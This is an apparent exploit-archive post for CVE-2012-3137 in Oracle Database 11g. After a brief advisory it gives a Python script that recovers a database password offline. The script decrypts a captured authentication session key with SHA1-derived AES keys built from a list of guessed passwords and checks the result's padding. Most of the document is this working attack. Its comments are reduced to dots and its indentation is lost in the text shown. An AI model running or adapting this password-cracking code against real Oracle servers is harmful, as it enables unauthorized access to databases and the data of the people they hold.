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Oracle Database Authentication Protocol Security Bypass

Oracle Database Authentication Protocol Security Bypass
Posted Oct 18, 2012
Authored by Esteban Martinez Fayo

Oracle database versions 11g R1 and R2 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2012-3137
MD5 | ff113e2118513db84cedf768af48602f

Oracle Database Authentication Protocol Security Bypass

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Oracle Database is prone to a remote security-bypass vulnerability that affects the authentication protocol.

An attacker can exploit this issue to bypass the authentication process and gain unauthorized access to the database.

This vulnerability affects Oracle Database 11g Release 1 and 11g Release 2.


#-*-coding:utf8 -*-

import hashlib
from Crypto.Cipher import AES

def decrypt(session,salt,password):
pass_hash = hashlib.sha1(password+salt)

#......... ..... ..... .......... .. 24 ....
key = pass_hash.digest() + '\x00\x00\x00\x00'
decryptor = AES.new(key,AES.MODE_CBC)
plain = decryptor.decrypt(session)
return plain

#............. ........... ...... 48 ....
session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'

#.... 10 ....
salt_hex = 'A7193E546377EC56639E'

passwords = ['test','password','oracle','demo']

for password in passwords:
session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
print 'PASSWORD IS "%s"' % password
break


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